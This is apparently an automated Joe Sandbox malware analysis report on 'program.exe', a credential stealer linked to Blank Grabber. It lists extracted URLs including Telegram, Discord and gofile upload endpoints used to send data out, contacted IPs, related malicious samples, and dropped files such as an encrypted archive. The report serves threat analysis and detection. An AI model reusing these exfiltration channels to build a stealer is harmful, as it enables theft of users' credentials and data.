https://httpbin.org/	program.exe, 00000001.00000003.1784927173.000001B5FE3BD000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crl.sectigo.com/SectigoRSACodeSigningCA.crl0s	program.exe, 00000000.00000003.1707556625.000002641A640000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.Loader.exec_module	program.exe, 00000001.00000002.2105086608.000001B5FD810000.00000004.00001000.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	program.exe, 00000001.00000002.2107834839.000001B5FE91C000.00000004.00001000.00020000.00000000.sdmp, program.exe, 00000001.00000003.2000044221.000001B5FF37B000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.2000411427.000001B5FF22F000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.2104205317.000001B5FE394000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.2104116645.000001B5FE382000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.MetaPathFinder.invalidate_caches	program.exe, 00000001.00000002.2105086608.000001B5FD810000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	program.exe, 00000001.00000003.2001533642.000001B5FE416000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	program.exe, 00000001.00000003.1759907670.000001B5FE389000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1759251928.000001B5FE3FB000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1784927173.000001B5FE3EF000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1799365735.000001B5FE388000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1797522496.000001B5FE3EF000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1754035626.000001B5FE3FB000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1784927173.000001B5FE36D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://allegro.pl/	program.exe, 00000001.00000002.2107834839.000001B5FE91C000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/Pester/Pester	powershell.exe, 0000002A.00000002.1908908412.000001E9B36F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.1991968097.000001E9CA1A0000.00000004.00000020.00020000.00000000.sdmp	false		high
http://hg.python.org/cpython/file/603b4d593758/Lib/socket.py#l535	program.exe, 00000001.00000002.2105991946.000001B5FE212000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.2103489320.000001B5FE212000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2105351723.000001B5FDA10000.00000004.00000020.00020000.00000000.sdmp	false		high
https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy	program.exe, 00000001.00000002.2104884154.000001B5FC007000.00000004.00000020.00020000.00000000.sdmp	false		high
https://MD8.mozilla.org/1/m	program.exe, 00000001.00000002.2110707812.000001B5FF148000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2107834839.000001B5FE980000.00000004.00001000.00020000.00000000.sdmp	false		high
https://packaging.python.org/en/latest/specifications/core-metadata/#core-metadata	program.exe, 00000001.00000003.1784927173.000001B5FE301000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2107318473.000001B5FE680000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.bbc.co.uk/	program.exe, 00000001.00000002.2107834839.000001B5FE91C000.00000004.00001000.00020000.00000000.sdmp	false		high
https://bugzilla.mo	program.exe, 00000001.00000002.2107834839.000001B5FE980000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/python/importlib_metadata/wiki/Development-Methodology	program.exe, 00000001.00000002.2107675447.000001B5FE7A0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://tools.ietf.org/html/rfc6125#section-6.4.3	program.exe, 00000001.00000002.2107675447.000001B5FE7A0000.00000004.00001000.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 00000008.00000002.1871103876.000001A83BB49000.00000004.00000800.00020000.00000000.sdmp	false		high
https://google.com/mail	program.exe, 00000001.00000002.2105467796.000001B5FDC50000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2105467796.000001B5FDCC2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://packaging.python.org/specifications/entry-points/	program.exe, 00000001.00000003.1784927173.000001B5FE301000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2107200618.000001B5FE560000.00000004.00001000.00020000.00000000.sdmp, program.exe, 00000001.00000002.2107675447.000001B5FE7A0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Examples	program.exe, 00000001.00000003.2001942691.000001B5FF1DB000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.2000411427.000001B5FF20B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.python.org/psf/license/)	program.exe, 00000001.00000002.2118655051.00007FFDFB868000.00000040.00000001.01000000.00000004.sdmp	false		high
https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/abc.py	program.exe, 00000001.00000002.2104884154.000001B5FC007000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.google.com/	program.exe, 00000001.00000002.2107834839.000001B5FE980000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.iqiyi.com/	program.exe, 00000001.00000002.2107834839.000001B5FE91C000.00000004.00001000.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot0	program.exe, 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp	false		high
https://foss.heptapod.net/pypy/pypy/-/issues/3539	program.exe, 00000001.00000002.2107071806.000001B5FE450000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/urllib3/urllib3/issues/2513#issuecomment-1152559900.	program.exe, 00000001.00000002.2105467796.000001B5FDC50000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2106525715.000001B5FE33B000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1784927173.000001B5FE333000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1848691520.000001B5FE333000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.2002183639.000001B5FE33B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://google.com/	program.exe, 00000001.00000003.1784927173.000001B5FE301000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2105467796.000001B5FDC50000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2106483905.000001B5FE310000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1848103473.000001B5FE301000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	program.exe, 00000001.00000003.1784927173.000001B5FE3EF000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1797522496.000001B5FE3EF000.00000004.00000020.00020000.00000000.sdmp	false		high
http://ocsp.sectigo.com0	program.exe, 00000000.00000003.1707556625.000002641A640000.00000004.00000020.00020000.00000000.sdmp	false		high
https://tools.ietf.org/html/rfc7231#section-4.3.6)	program.exe, 00000001.00000002.2105467796.000001B5FDC50000.00000004.00000020.00020000.00000000.sdmp	false		high
https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warningsN	program.exe, 00000001.00000003.1784927173.000001B5FE301000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2106483905.000001B5FE310000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1848103473.000001B5FE301000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/License	powershell.exe, 0000002A.00000002.1981454462.000001E9C1E5D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://discordapp.com/api/v9/users/	program.exe, 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.InspectLoader.get_source	program.exe, 00000001.00000002.2105086608.000001B5FD894000.00000004.00001000.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	program.exe, 00000001.00000003.2001533642.000001B5FE416000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.PathEntryFinder.find_spec	program.exe, 00000001.00000002.2105086608.000001B5FD810000.00000004.00001000.00020000.00000000.sdmp	false		high
https://github.com/urllib3/urllib3/issues/2920	program.exe, 00000001.00000002.2107675447.000001B5FE7A0000.00000004.00001000.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	program.exe, 00000001.00000003.2000044221.000001B5FF37B000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.2000411427.000001B5FF22F000.00000004.00000020.00020000.00000000.sdmp	false		high
http://crt.sectigo.com/SectigoRSACodeSigningCA.crt0#	program.exe, 00000000.00000003.1707556625.000002641A640000.00000004.00000020.00020000.00000000.sdmp	false		high
https://docs.python.org/3/library/importlib.html#importlib.abc.ResourceLoader.get_data	program.exe, 00000001.00000002.2104884154.000001B5FC007000.00000004.00000020.00020000.00000000.sdmp	false		high
https://yahoo.com/	program.exe, 00000001.00000002.2105467796.000001B5FDC50000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2105467796.000001B5FDCC2000.00000004.00000020.00020000.00000000.sdmp	false		high
https://account.bellmedia.c	program.exe, 00000001.00000002.2114614682.000001B5FFA7C000.00000004.00001000.00020000.00000000.sdmp	false		high
http://schemas.mic;	powershell.exe, 00000008.00000002.1917964780.000001A853E10000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.iana.org/assignments/tls-parameters/tls-parameters.xml#tls-parameters-6	program.exe, 00000001.00000003.2002700653.000001B5FE1F1000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.2103489320.000001B5FE1EA000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1850937625.000001B5FE1ED000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2105991946.000001B5FE1F1000.00000004.00000020.00020000.00000000.sdmp	false		high
https://login.microsoftonline.com	program.exe, 00000001.00000002.2107834839.000001B5FE91C000.00000004.00001000.00020000.00000000.sdmp, program.exe, 00000001.00000002.2114614682.000001B5FFA64000.00000004.00001000.00020000.00000000.sdmp	false		high
http://crl.thawte.com/ThawteTimestampingCA.crl0	program.exe, 00000000.00000003.1707556625.000002641A640000.00000004.00000020.00020000.00000000.sdmp	false		high
https://html.spec.whatwg.org/multipage/	program.exe, 00000001.00000003.1784927173.000001B5FE301000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2106483905.000001B5FE310000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1848103473.000001B5FE301000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.ifeng.com/	program.exe, 00000001.00000002.2107834839.000001B5FE91C000.00000004.00001000.00020000.00000000.sdmp	false		high
https://urllib3.readthedocs.io/en/latest/advanced-usage.html#tls-warnings	program.exe, 00000001.00000002.2107318473.000001B5FE680000.00000004.00001000.00020000.00000000.sdmp	false		high
https://www.zhihu.com/	program.exe, 00000001.00000002.2107834839.000001B5FE980000.00000004.00001000.00020000.00000000.sdmp	false		high
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Install	program.exe, 00000001.00000003.2001942691.000001B5FF1DB000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.2000411427.000001B5FF20B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	program.exe, 00000001.00000003.2001533642.000001B5FE416000.00000004.00000020.00020000.00000000.sdmp	false		high
https://www.rfc-editor.org/rfc/rfc8259#section-8.1	program.exe, 00000001.00000002.2105467796.000001B5FDC50000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1784927173.000001B5FE333000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1848691520.000001B5FE333000.00000004.00000020.00020000.00000000.sdmp	false		high
https://contoso.com/	powershell.exe, 0000002A.00000002.1981454462.000001E9C1E5D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://oneget.orgX	powershell.exe, 0000002A.00000002.1908908412.000001E9B3434000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.gofile.io/getServer	program.exe, 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp	false		high
https://raw.githubusercontent.com/Blank-c/Blank-Grabber/main/.github/workflows/image.png	program.exe, 00000001.00000002.2105871679.000001B5FDF50000.00000004.00001000.00020000.00000000.sdmp	false		high
http://nuget.org/NuGet.exe	powershell.exe, 00000008.00000002.1906355908.000001A84B996000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.1981454462.000001E9C1FA0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.1908908412.000001E9B374D000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.1981454462.000001E9C1E5D000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.apache.org/licenses/LICENSE-2.0	powershell.exe, 0000002A.00000002.1908908412.000001E9B3434000.00000004.00000800.00020000.00000000.sdmp	false		high
https://sectigo.com/CPS0	program.exe, 00000000.00000003.1707556625.000002641A640000.00000004.00000020.00020000.00000000.sdmp	false		high
http://code.activestate.com/recipes/577452-a-memoize-decorator-for-instance-methods/	program.exe, 00000001.00000003.1754035626.000001B5FE3BD000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1848691520.000001B5FE3AF000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1759827513.000001B5FE3BD000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000002.2106760693.000001B5FE3B1000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.2103757155.000001B5FE3AE000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1799365735.000001B5FE3BD000.00000004.00000020.00020000.00000000.sdmp, program.exe, 00000001.00000003.1784927173.000001B5FE3BD000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
208.95.112.1	ip-api.com	United States		53334	TUT-ASUS	false
162.159.137.232	discord.com	United States		13335	CLOUDFLARENETUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1557107
Start date and time:	2024-11-17 11:21:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 13m 9s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	103
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	program.exe
Detection:	MAL
Classification:	mal100.rans.troj.adwa.spyw.expl.evad.winEXE@164/56@2/2
EGA Information:	Successful, ratio: 60%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe
Excluded IPs from analysis (whitelisted): 216.58.206.67
Excluded domains from analysis (whitelisted): slscr.update.microsoft.com, otelrules.azureedge.net, gstatic.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target powershell.exe, PID 7512 because it is empty
Execution Graph export aborted for target powershell.exe, PID 8260 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtEnumerateKey calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
05:22:07	API Interceptor	165x Sleep call for process: powershell.exe modified
05:22:07	API Interceptor	5x Sleep call for process: WMIC.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
208.95.112.1	skuld.exe	Get hash	malicious	Skuld Stealer	Browse	ip-api.com/line/?fields=hosting
	SolaraBostrappers.exe	Get hash	malicious	DCRat	Browse	ip-api.com/line/?fields=hosting
	svhost.exe	Get hash	malicious	DCRat	Browse	ip-api.com/line/?fields=hosting
	Midnight.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	exe030.exe	Get hash	malicious	XWorm	Browse	ip-api.com/line/?fields=hosting
	GRAINS.vbs	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	SAMPLE_PHOTO.js	Get hash	malicious	AgentTesla	Browse	ip-api.com/line/?fields=hosting
	RuntimeusererVers.exe	Get hash	malicious	Python Stealer	Browse	ip-api.com/json
	HeilHitler.exe	Get hash	malicious	Blank Grabber	Browse	ip-api.com/json/?fields=225545
	akame.exe	Get hash	malicious	Blank Grabber	Browse	ip-api.com/line/?fields=hosting

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
discord.com	RuntimeusererVers.exe	Get hash	malicious	Python Stealer	Browse	162.159.138.232
	NEVER OPEN!.exe	Get hash	malicious	Python Stealer, Empyrean, Discord Token Stealer	Browse	162.159.137.232
	HeilHitler.exe	Get hash	malicious	Blank Grabber	Browse	162.159.128.233
	file.exe	Get hash	malicious	CStealer	Browse	162.159.138.232
	B78DGDwttv.exe	Get hash	malicious	SilverRat	Browse	162.159.135.232
	YDW0S5K7hi.exe	Get hash	malicious	SilverRat	Browse	162.159.137.232
	cDRgXaadjD.exe	Get hash	malicious	SilverRat	Browse	162.159.128.233
	dens.exe	Get hash	malicious	Python Stealer, Exela Stealer, Waltuhium Grabber	Browse	162.159.128.233
	Xyq6rvzLJs.exe	Get hash	malicious	SilverRat	Browse	162.159.137.232
	00514DIRyT.exe	Get hash	malicious	GO Stealer	Browse	162.159.136.232
ip-api.com	skuld.exe	Get hash	malicious	Skuld Stealer	Browse	208.95.112.1
	SolaraBostrappers.exe	Get hash	malicious	DCRat	Browse	208.95.112.1
	svhost.exe	Get hash	malicious	DCRat	Browse	208.95.112.1
	Midnight.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	exe030.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	GRAINS.vbs	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	SAMPLE_PHOTO.js	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	RuntimeusererVers.exe	Get hash	malicious	Python Stealer	Browse	208.95.112.1
	HeilHitler.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1
	akame.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	skuld.exe	Get hash	malicious	Skuld Stealer	Browse	104.26.13.205
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	Setup.exe	Get hash	malicious	LummaC	Browse	104.21.25.202
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	188.114.96.3
TUT-ASUS	skuld.exe	Get hash	malicious	Skuld Stealer	Browse	208.95.112.1
	SolaraBostrappers.exe	Get hash	malicious	DCRat	Browse	208.95.112.1
	svhost.exe	Get hash	malicious	DCRat	Browse	208.95.112.1
	Midnight.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	exe030.exe	Get hash	malicious	XWorm	Browse	208.95.112.1
	GRAINS.vbs	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	https://t.ly/-kxCO	Get hash	malicious	Braodo	Browse	208.95.112.1
	SAMPLE_PHOTO.js	Get hash	malicious	AgentTesla	Browse	208.95.112.1
	RuntimeusererVers.exe	Get hash	malicious	Python Stealer	Browse	208.95.112.1
	HeilHitler.exe	Get hash	malicious	Blank Grabber	Browse	208.95.112.1

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\_MEI73082\VCRUNTIME140.dll	799Ox3XqxO.exe	Get hash	malicious	RedLine	Browse
	XODc5nV1kC.exe	Get hash	malicious	LummaC	Browse
	active.exe	Get hash	malicious	Unknown	Browse
	Creal.exe	Get hash	malicious	Creal Stealer	Browse
	#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .exe	Get hash	malicious	Blank Grabber, Creal Stealer	Browse
	https://t.ly/Oppenheim0511	Get hash	malicious	GO Backdoor	Browse
	B6EGeOHEFm.exe	Get hash	malicious	Phemedrone Stealer	Browse
	Q60ZbERXWZ.exe	Get hash	malicious	Phemedrone Stealer	Browse
	XCubQJqiz7.exe	Get hash	malicious	Phemedrone Stealer	Browse
	MVPloader.exe	Get hash	malicious	Blank Grabber	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Temp\ ? ? ? \Display (1).png

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PNG image data, 1280 x 1024, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	725710
Entropy (8bit):	7.937509403546435
Encrypted:	false
SSDEEP:	12288:xWby7gIV2hUp93yMw1HCiZAbuwADT/3RlqgVjOE9XKXIkgIWG4O55KBM4a3+x:xWO7V/eWAP/RlqajOE9m1gIYO56d
MD5:	E3BC08EF28B09FA1C7F2E7641696D22A
SHA1:	BD28A2D01A38E77918C258A6269C836D3B675E64
SHA-256:	69C00FABE1923F8ADD6FFCF644FEC390CD26F99289CE22050F8BCBDB53252113
SHA-512:	671EF5A1BFAE3B5BA36D6AD3CB97144A0E8AEF1D7904FB8E81837064619F3C59431948C19BB60275A78AF3439DCD7A7AAB029A53656BE2CE8D525D92395E2196
Malicious:	false
Preview:	.PNG........IHDR................C....sRGB.........gAMA......a.....pHYs..........o.d....IDATx^....eU....Oe..v...{..}..m..};.}....[.P..3........P..T....}EE....E..PT..d..:...~.=....}.>.....s.1.Z{.B8.c..h..j.//..6.3b+.......Kq....n..qFL..i\|;....[Q\|...(.}......<u..[/..7.O.W..h.^).1:._...h..S\|...W.].4.=....s.)N..v....S\|..ai~..8..oc.........S\|...()>..h....r.c}...=..(.yd.4.~.f..GB..P..PG.G.......#`.e5.K{g.#.8tI..].<dd.......A.....G.....QP..o..~.......6.]..}\|.{.......-.....D...b...=....;.04w.s...Q3..C..b...0.3w.........'..,J-1.W....'dL.y.1{.;....Dv^.&q....q.i....J&.....*.k...nMh..qa.....a.Nq..o..;../&.{.s.w.5.&.xk..C..>.wb.x.mo..mn...7..V.R.......\|../.Sb...N$..h'....-nLs...>..Skc.x=...0a..........s[.O...X.l.0L.6...6.v.Vq..q..n..7.v`.x?[.hn~}(6...1L.:^+..M.My......e.n..%....Y'..?q..R..b.6..o......c`..Mc\|.8.Q...5.....cr.m....D.G..Q.w.x.Y...kR....~#..W..v.>L.(.k...XK;y..f.87+.....f..W....OLy.8.....w.c6.~c..C..U)....).\].k1..i..q,&.kN.1.I..5..

C:\Users\user\AppData\Local\Temp\MBLSI.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\_MEI73082\rar.exe
File Type:	RAR archive data, v5
Category:	dropped
Size (bytes):	765118
Entropy (8bit):	7.999761300170289
Encrypted:	true
SSDEEP:	12288:YxQNugnCHqQ64trFhs6beC4iitMNqSBCC8MinFphIxv/0/aV0EXL6:SGMygbZeC4i5N/CC8MinFeM/80EXL6
MD5:	7363E2ADF70AF9E78BF0200030B62056
SHA1:	09B7FC624E9BE7B591211A8897CB3948DFC009FA
SHA-256:	35205D775A6AD3A8CFD4D1FB6E0BDCB3A0F4984920258DE3484F8E4FEE24248D
SHA-512:	A05FA7121C42C467E4CEA931A7379FC78993D488D311BCC0812F2110F4395A9013057AA58F496085D08998186F25D8F98257B10315A248C077E66D042DF71E34
Malicious:	true
Preview:	Rar!....r..g!.....w@......F.u.......v._...l..T'......F.#IE..V...2%....`.B.zx.O..(.$[{.4..R..S..9.g...%....0..0+..8........~..XsS.Rre...Y.K8].GW...N......L~z.$<ySO ..G.........J^..Xm8.fdn.^...C..j......F.P..X....:f.. .#..._L.[...\|.h.../.a=....K.R.F.(..#.5..cy..).x.....+.K.......Zm2t\|i.0.P.o*.5..'fZ....R..E.Kh....:L.)....6R........(NX#.l.....!,$p.1...p<.~.(.....Aii...x..y...;...!.3X....pW<..t.l.....'.2...?.... \....>.,.yk..z.2.c.4.\.\6I,8.....{<...../[..H.wn^3c....C..4.$.xM;&.4...h.W<........."{}"..">..Y..L...........o..K..M.r......v....y.O..e?.~9...}..~K;.`.k...I...1.^..zf..L...7.uQ...x..y!........l\\M}........rT..tA<f-...0/eDr..8b\|.....,..P.?."......?o-br..KP...\|.?...?.u.......M.zO.&.m.....5.......z.T}.P^..8<`..."k....v.M.......,..[@m.2j...{.{..P.{I...fK ...P..7..N.^...^.oFI......sQ;..+..j...QFHev<.G..........)2.)?.w.z_A...3..].....K'..E.{@.e.j........'......+M.S..J........Td..1......K-..(2n.Sz...D3..(............KwW...>3...8...+6.\|G.)U..

C:\Users\user\AppData\Local\Temp\MpCmdRun.log

Download File

Process:	C:\Program Files\Windows Defender\MpCmdRun.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	modified
Size (bytes):	894
Entropy (8bit):	3.1128058211127683
Encrypted:	false
SSDEEP:	12:Q58KRBubdpkoPAGdjrZ214Zk9+MlWlLehW51IC421YI:QOaqdmOFdjr014++kWResLIs1YI
MD5:	842440903277CDCB52B4DF8F4B7687EF
SHA1:	7F0F7C418B1078E3AE63541AE06FC54736A32E3B
SHA-256:	959B04E1AAC24FAAAB7339C53AFAB478513AA08049B36E398E0B510725F2E22D
SHA-512:	83C4E0E633CE1581CC3D0AD49F330FF5A24B9AD7B2FC9ABC08E1A3F83405362FA658FD84D1C6047851EA66013AFBA6817620624B3C63DF0D446913C3BCA76067
Malicious:	false
